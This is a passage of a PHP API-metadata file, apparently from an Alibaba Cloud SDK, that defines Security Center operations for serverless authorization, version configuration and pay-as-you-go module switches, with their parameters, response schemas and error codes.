\\"TotalUnBindCoreCount\\": 1,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"AutoBind\\": 1,\\n \\"HasPreBindSetting\\": true\\n },\\n \\"Success\\": true,\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', + 'title' => '获取Serverless授权概览', + ], + 'GetServerlessAppAuthDetail' => [ + 'summary' => '获取Serverless应用授权详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '227933', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'VendorType', + 'in' => 'query', + 'schema' => [ + 'title' => '渠道标识：SAE/PAI/ASK', + 'description' => '所属云产品：'."\n" + .'- **ASK**'."\n" + .'- **SAE**'."\n" + .'- **ACS**', + 'type' => 'string', + 'required' => false, + 'example' => 'SAE', + ], + ], + [ + 'name' => 'MachineType', + 'in' => 'query', + 'schema' => [ + 'title' => '机器类型:RunD/ECI', + 'description' => '服务器类型：'."\n" + .'- **RunD**'."\n" + .'- **ECI**', + 'type' => 'string', + 'required' => false, + 'example' => 'RunD', + ], + ], + [ + 'name' => 'AppId', + 'in' => 'query', + 'schema' => [ + 'title' => 'appId', + 'description' => 'SAE应用ID。'."\n" + ."\n" + .'> 通过[ListMachineApps](~~ListMachineApps~~)接口获取。', + 'type' => 'string', + 'required' => false, + 'example' => '3de9f2ac-f***769226df'."\n", + ], + ], + [ + 'name' => 'AppRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '应用地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'IsPostPaid' => [ + 'title' => '是后支付', + 'description' => '是否后支付实例。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'PostPaidModuleSwitch' => [ + 'title' => '后支付单元转换', + 'description' => '按量付费模块开关。取值：'."\n" + ."\n" + .'- **VUL**：漏洞修复模块'."\n" + .'- **CSPM**：云安全态势管理模块'."\n" + .'- **AGENTLESS**：无代理检测模块'."\n" + .'- **SERVERLESS**：Serverless安全模块'."\n" + .'- **CTDR**：威胁分析与响应模块', + 'type' => 'string', + 'example' => 'SERVERLESS', + ], + 'PostpaidInstanceId' => [ + 'title' => '后付费实例id', + 'description' => '后付费实例ID。', + 'type' => 'string', + 'example' => '101', + ], + 'PostPaidOpenTime' => [ + 'title' => '后支付开启时间', + 'description' => '后付费开启时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1655432638000', + ], + 'PostPaidStatus' => [ + 'title' => '后支付状态', + 'description' => '后付费实例状态。取值：'."\n" + .'- **1**：生效中'."\n" + .'- **2**：欠费停机', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'IsServerlessPostPaidValid' => [ + 'title' => 'serverless后支付状态', + 'description' => 'serverless后付费状态。取值：'."\n" + .'- **true**：生效中'."\n" + .'- **false**：已失效', + 'type' => 'boolean', + 'example' => 'true', + ], + 'AppId' => [ + 'description' => '应用ID。', + 'type' => 'string', + 'example' => 'c932b7a0***', + ], + 'InstanceCount' => [ + 'description' => '实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CoreCount' => [ + 'description' => 'CPU核心数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'IsBind' => [ + 'description' => '是否已绑定授权。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"IsPostPaid\\": true,\\n \\"PostPaidModuleSwitch\\": \\"SERVERLESS\\",\\n \\"PostpaidInstanceId\\": \\"101\\",\\n \\"PostPaidOpenTime\\": 1655432638000,\\n \\"PostPaidStatus\\": 1,\\n \\"IsServerlessPostPaidValid\\": true,\\n \\"AppId\\": \\"c932b7a0***\\",\\n \\"InstanceCount\\": 1,\\n \\"CoreCount\\": 2,\\n \\"IsBind\\": true\\n },\\n \\"Success\\": true,\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\"\\n}","type":"json"}]', + 'title' => '获取Serverless应用授权详情', + ], + 'DescribeVersionConfig' => [ + 'summary' => '查看已购买的云安全中心实例的版本详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92237', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。 '."\n", + 'type' => 'string', + 'required' => false, + 'example' => '192.0.XX.XX', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '使用云安全中心服务的阿里云账号ID。 '."\n" + .'> 调用[GetUser](~~28681~~)接口获取该参数。'."\n", + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'MVAuthCount' => [ + 'description' => '购买多版本时的总授权数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5000', + ], + 'SasLog' => [ + 'description' => '是否已购买日志分析。取值：'."\n" + .'- **0**：未购买'."\n" + .'- **1**：已购买', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SasScreen' => [ + 'description' => '是否已购买安全大屏。取值：'."\n" + .'- **0**：未购买'."\n" + .'- **1**：已购买', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HoneypotCapacity' => [ + 'description' => '已购买的蜜罐授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '20', + ], + 'MVUnusedAuthCount' => [ + 'description' => '购买多版本时总剩余授权数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '40', + ], + 'WebLock' => [ + 'description' => '是否开启了网页防篡改服务。取值：'."\n" + .'- **0**：未开启'."\n" + .'- **1**：已开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AppWhiteListAuthCount' => [ + 'description' => '应用白名单授权数。'."\n" + .'> 一个授权可为一台服务器应用白名单策略。开通应用白名单功能后，该账号默认拥有20个授权。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int64', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'C2DC96D2-DD2E-49D9-A28E-85590475DF55', + ], + 'LastTrailEndTime' => [ + 'description' => '上一次试用云安全中心的截止时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1603934844000', + ], + 'Version' => [ + 'description' => '已购买的云安全中心版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版 '."\n" + .'- **8**：多版本 '."\n" + .'- **10**：仅采购增值服务', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'WebLockAuthCount' => [ + 'description' => '已购买的网页防篡改的授权数。1个授权可为1台服务器开启网页防篡改保护。取值范围：0~N。'."\n" + .'> N为您保有的服务器数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'ReleaseTime' => [ + 'description' => '云安全中心实例到期时间戳，单位为毫秒。'."\n" + .'> 如果服务到期7天后您未进行续费，您的付费版实例将降级为免费版，您将无法继续使用付费版本的功能，您之前的云安全中心配置数据和历史告警数据（例如：DDoS告警等）将无法查看。此时，您只有通过重新购买来启用云安全中心付费版服务。更多信息请参见[购买云安全中心](~~42308~~)。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1625846400000', + ], + 'HighestVersion' => [ + 'description' => '购买安全中心最高版本。取值：'."\n" + .'- **1**：免费版'."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版'."\n" + .'- **7**：旗舰版'."\n" + .'- **10**：仅采购增值服务'."\n" + .'> 购买是单版本则表示对应的版本，购买为多版本时，该值表示购买云安全中心多版本中的最高版本。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AssetLevel' => [ + 'description' => '已购买的服务器授权数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'IsOverBalance' => [ + 'description' => '现有服务器台数是否超过购买的最大授权数。取值：'."\n" + .'- **false**：未超过'."\n" + .'- **true**：已超过'."\n" + ."\n" + .'>参数已废弃，您无需关注。>', + 'type' => 'boolean', + 'example' => 'false', + ], + 'InstanceId' => [ + 'description' => '已购买的云安全中心实例ID。', + 'type' => 'string', + 'example' => 'sas-vg6hafdsafs****', + ], + 'SlsCapacity' => [ + 'description' => '已购买的日志存储容量，单位为GB。取值范围：0~200000。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10240', + ], + 'VmCores' => [ + 'description' => '已购买的授权核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'AllowPartialBuy' => [ + 'description' => '是否允许按量购买。'."\n" + ."\n" + .'- **0**：不允许'."\n" + .'- **1**：允许', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AppWhiteList' => [ + 'description' => '是否开启应用白名单。取值：'."\n" + .'- **0**：未开启'."\n" + .'- **2**：已开启'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'ImageScanCapacity' => [ + 'description' => '已购镜像扫描授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '8954', + ], + 'IsTrialVersion' => [ + 'description' => '当前云安全中心版本是否是试用版本。取值：'."\n" + .'- **0**：非试用版本'."\n" + .'- **1**：试用版本'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'UserDefinedAlarms' => [ + 'description' => '是否开启自定义告警功能。取值：'."\n" + .'- **0**：未开启'."\n" + .'- **2**：已开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'OpenTime' => [ + 'description' => '开通服务时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1657244824669', + ], + 'IsNewContainerVersion' => [ + 'description' => '是否是新旗舰版。'."\n" + ."\n" + .'- **true**：是最新版'."\n" + ."\n" + .'- **false**：不是最新版', + 'type' => 'boolean', + 'example' => 'true', + ], + 'IsNewMultiVersion' => [ + 'description' => '是否是新多版本。'."\n" + ."\n" + .'- **true**：是最新多版本'."\n" + ."\n" + .'- **false**：不是最新多版本', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ThreatAnalysisCapacity' => [ + 'description' => '已购威胁分析容量。单位：GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '25', + ], + 'CspmCapacity' => [ + 'description' => '已购云平台配置检查扫描数。单位：次/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'VulFixCapacity' => [ + 'description' => '已购漏洞修复数。单位：次/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'RaspCapacity' => [ + 'description' => '已购应用防护数。单位：个/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'AgentlessCapacity' => [ + 'description' => '无代理检测数。'."\n" + .'>无代理检测暂未售卖，现无需关注该字段。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'IsPostpay' => [ + 'description' => '是否开通按量付费。取值：'."\n" + .'- **false**：未开通'."\n" + .'- **true**：已开通', + 'type' => 'boolean', + 'example' => 'true', + ], + 'PostPayInstanceId' => [ + 'description' => '按量付费实例ID。', + 'type' => 'string', + 'example' => 'postpay-sas-**', + ], + 'PostPayModuleSwitch' => [ + 'description' => '按量付费模块开关状态，格式为JsonString，取值：'."\n" + .'- Key：'."\n" + .' - **VUL**：漏洞修复模块'."\n" + .' - **CSPM**：云安全态势管理模块'."\n" + .' - **AGENTLESS**：无代理检测模块'."\n" + .' - **SERVERLESS**：Serverless安全模块'."\n" + .' - **CTDR**：威胁分析与响应模块'."\n" + .' - **POST_HOST**：主机及容器安全模块'."\n" + .' - **SDK**：恶意文件检测SDK模块'."\n" + .' - **RASP**：应用防护模块'."\n" + .'- Value：0表示关闭，1表示开启', + 'type' => 'string', + 'example' => '{"VUL":1}', + ], + 'PostPayStatus' => [ + 'description' => '按量付费实例状态。取值：'."\n" + .'- **1**：正常'."\n" + .'- **2**：欠费停机', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PostPayOpenTime' => [ + 'description' => '按量付费开通时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1698915219000', + ], + 'SdkCapacity' => [ + 'description' => '恶意文件检测SDK授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'AntiRansomwareCapacity' => [ + 'description' => '防勒索备份容量，单位GB。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '160', + ], + 'NewThreatAnalysis' => [ + 'description' => '是否开通新版威胁分析与响应服务。新版威胁分析与响应服务，是指支持购买接入流量和日志存储容量的威胁分析与响应服务。取值：'."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ThreatAnalysisFlow' => [ + 'description' => '已购买的威胁分析与响应日志接入流量。单位为GB/天。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'MergedVersion' => [ + 'description' => '同时开通云安全中心主机及容器安全包年包月和按量付费服务时，两者中较高的防护版本。取值：'."\n" + .'- **1**：免费版'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'PostPayHostVersion' => [ + 'description' => '当开通主机及容器安全按量付费服务时，为已绑定资产的最高防护版本。取值：'."\n" + .'- **1**：免费版'."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版'."\n" + .'- **7**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'AntiRansomwareService' => [ + 'description' => '防勒索管家服务。取值：'."\n" + .'- **0**：未开通'."\n" + .'- **1**：已开通', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'MultiVersion' => [ + 'description' => '多版本号和授权数使用情况。', + 'type' => 'string', + 'example' => 'null', + ], + 'CanTryPostPaidPackage' => [ + 'description' => '是否支持开通后付费试用套餐。取值：'."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InstanceBuyType' => [ + 'description' => '实例购买类型。取值：'."\n" + .'- **0**：自购'."\n" + .'- **1**：多账号分配', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'OnboardedAssets' => [ + 'title' => 'AI数字人纳管实例', + 'description' => 'AI数字人纳管实例', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'IntelligentAnalysisFlow' => [ + 'title' => 'AI数字人分析流量', + 'description' => 'AI数字人分析流量', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"MVAuthCount\\": 5000,\\n \\"SasLog\\": 1,\\n \\"SasScreen\\": 0,\\n \\"HoneypotCapacity\\": 20,\\n \\"MVUnusedAuthCount\\": 40,\\n \\"WebLock\\": 0,\\n \\"AppWhiteListAuthCount\\": 20,\\n \\"RequestId\\": \\"C2DC96D2-DD2E-49D9-A28E-85590475DF55\\",\\n \\"LastTrailEndTime\\": 1603934844000,\\n \\"Version\\": 3,\\n \\"WebLockAuthCount\\": 0,\\n \\"ReleaseTime\\": 1625846400000,\\n \\"HighestVersion\\": 1,\\n \\"AssetLevel\\": 30,\\n \\"IsOverBalance\\": false,\\n \\"InstanceId\\": \\"sas-vg6hafdsafs****\\",\\n \\"SlsCapacity\\": 10240,\\n \\"VmCores\\": 10,\\n \\"AllowPartialBuy\\": 1,\\n \\"AppWhiteList\\": 2,\\n \\"ImageScanCapacity\\": 8954,\\n \\"IsTrialVersion\\": 0,\\n \\"UserDefinedAlarms\\": 0,\\n \\"OpenTime\\": 1657244824669,\\n \\"IsNewContainerVersion\\": true,\\n \\"IsNewMultiVersion\\": true,\\n \\"ThreatAnalysisCapacity\\": 25,\\n \\"CspmCapacity\\": 10,\\n \\"VulFixCapacity\\": 10,\\n \\"RaspCapacity\\": 10,\\n \\"AgentlessCapacity\\": 10,\\n \\"IsPostpay\\": true,\\n \\"PostPayInstanceId\\": \\"postpay-sas-**\\",\\n \\"PostPayModuleSwitch\\": \\"{\\\\\\"VUL\\\\\\":1}\\",\\n \\"PostPayStatus\\": 1,\\n \\"PostPayOpenTime\\": 1698915219000,\\n \\"SdkCapacity\\": 10,\\n \\"AntiRansomwareCapacity\\": 160,\\n \\"NewThreatAnalysis\\": 1,\\n \\"ThreatAnalysisFlow\\": 10,\\n \\"MergedVersion\\": 7,\\n \\"PostPayHostVersion\\": 7,\\n \\"AntiRansomwareService\\": 1,\\n \\"MultiVersion\\": \\"null\\",\\n \\"CanTryPostPaidPackage\\": 1,\\n \\"InstanceBuyType\\": 0,\\n \\"OnboardedAssets\\": 10,\\n \\"IntelligentAnalysisFlow\\": 100\\n}","errorExample":""},{"type":"xml","example":"\\n false\\n C2DC96D2-DD2E-49D9-A28E-85590475DF55\\n 38\\n sas-i49184b5****\\n 20\\n 1603874050000\\n 0\\n true\\n 10240\\n 1\\n 1\\n 1635436800000\\n 3\\n 1\\n 0\\n 5\\n 1140\\n 0\\n 1\\n 1\\n","errorExample":""}]', + 'title' => '查看已购买的云安全中心实例的版本详情', + 'responseParamsDescription' => '实际调用时，除上述表格中的返回参数外，还会返回以下参数。 '."\n" + .'- **AvdsFlag**'."\n" + .'- **FLag**'."\n" + .'- **CreateTime**'."\n" + .'- **IsSasOpening**'."\n" + .'- **Log**'."\n" + .'- **AgentlessCapacity**'."\n" + .'> 上述列表中的参数已废弃，您无需关注。', + 'extraInfo' => ' ', + ], + 'ModifyPostPayModuleSwitch' => [ + 'summary' => '打开或关闭指定功能的按量付费。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'paid', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'PostPayInstanceId', + 'in' => 'query', + 'allowEmptyValue' => false, + 'schema' => [ + 'description' => '按量付费实例ID，必须填写。'."\n" + ."\n" + .'> 调用[DescribeVersionConfig](~~DescribeVersionConfig~~)接口以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'postpay-sas-**', + ], + ], + [ + 'name' => 'PostPayModuleSwitch', + 'in' => 'query', + 'schema' => [ + 'title' => '后付费模块开关JsonString', + 'description' => '按量付费模块开关状态，格式为JsonString，取值：'."\n" + .'- Key：'."\n" + .' - **VUL**：漏洞修复模块'."\n" + .' - **CSPM**：云安全态势管理模块'."\n" + .' - **AGENTLESS**：无代理检测模块'."\n" + .' - **SERVERLESS**：Serverless安全模块'."\n" + .' - **CTDR**：威胁分析与响应模块'."\n" + .' - **POST_HOST**：主机及容器安全模块'."\n" + .' - **SDK**：恶意文件检测SDK模块'."\n" + .' - **RASP**：应用防护模块'."\n" + .' - **CTDR_STORAGE**：日志管理模块'."\n" + .' - **ANTI_RANSOMWARE**：防勒索管理'."\n" + .'- Value：0表示关闭，1表示开启'."\n" + ."\n" + .'> 未传值的模块值不会变化。'."\n" + ."\n" + .'与PostPayModuleSwitchObj字段含义相同，当二者同时存在时，以PostPayModuleSwitch的值为准。>', + 'type' => 'string', + 'required' => false, + 'example' => '{"VUL":1,"CSPM":0}', + ], + ], + [ + 'name' => 'PostPaidHostAutoBind', + 'in' => 'query', + 'schema' => [ + 'title' => '主机和容器防护新增资产时自动绑定开关。取值：'."\n" + ."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'description' => '主机和容器防护新增资产时自动绑定开关。取值：'."\n" + ."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PostPaidHostAutoBindVersion', + 'in' => 'query', + 'schema' => [ + 'title' => '主机和容器防护新增资产时自动绑定的版本，取值：'."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'description' => '主机和容器防护新增资产时自动绑定的版本，取值：'."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3', + ], + ], + [ + 'name' => 'PostPayModuleSwitchObj', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'title' => '按量付费模块开关。', + 'description' => '按量付费模块开关。'."\n" + .'> 与PostPayModuleSwitch字段含义相同，当二者同时存在时，以PostPayModuleSwitch的值为准。>', + 'type' => 'object', + 'properties' => [ + 'Vul' => [ + 'title' => '漏洞修复模块。', + 'description' => '漏洞修复模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'Cspm' => [ + 'title' => '云安全配置检查模块。', + 'description' => '云安全配置检查模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'Agentless' => [ + 'title' => '无代理检测模块。', + 'description' => '无代理检测模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'Serverless' => [ + 'title' => 'Serverless安全模块。', + 'description' => 'Serverless安全模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'Ctdr' => [ + 'title' => '威胁分析与响应模块。', + 'description' => '威胁分析与响应模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'CtdrStorage' => [ + 'title' => '日志管理模块。', + 'description' => '日志管理模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'Sdk' => [ + 'title' => '恶意文件检测SDK模块。', + 'description' => '恶意文件检测SDK模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'Rasp' => [ + 'title' => '应用防护模块。', + 'description' => '应用防护模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'PostHost' => [ + 'title' => '主机及容器安全模块。', + 'description' => '主机及容器安全模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'WebLock' => [ + 'title' => '文件防篡改模块。', + 'description' => '文件防篡改模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'AntiRansomware' => [ + 'title' => '防勒索模块。', + 'description' => '防勒索模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'BasicService' => [ + 'title' => '基础服务模块。', + 'description' => '基础服务模块。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启'."\n" + ."\n" + .'>基础服务模块开关不支持主动修改，存在其他开启的模块时该模块为开启状态，所有其他模块为关闭时该模块未关闭状态。>', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'AiDigital' => [ + 'title' => 'AI数字人', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BREF20', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'PostPayInstanceNotExist', + 'errorMessage' => 'post pay instance not exist.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BREF20\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '修改按量付费功能的状态', + ], + 'UpdatePostPaidBindRel' => [ + 'summary' => '开通主机及容器安全按量付费后，为服务器更换绑定的防护版本。', + 'path' => '', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'paid', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'BindAction', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '执行绑定的动作参数。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'UuidList' => [ + 'description' => '指定服务器UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '指定服务器UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances ](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '82e29**f0816da', + ], + 'required' => false, + 'maxItems' => 1000, + 'minItems' => 0, + ], + 'Version' => [ + 'description' => '需要绑定的云安全中心防护版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'type' => 'string', + 'required' => false, + 'example' => '3', + ], + 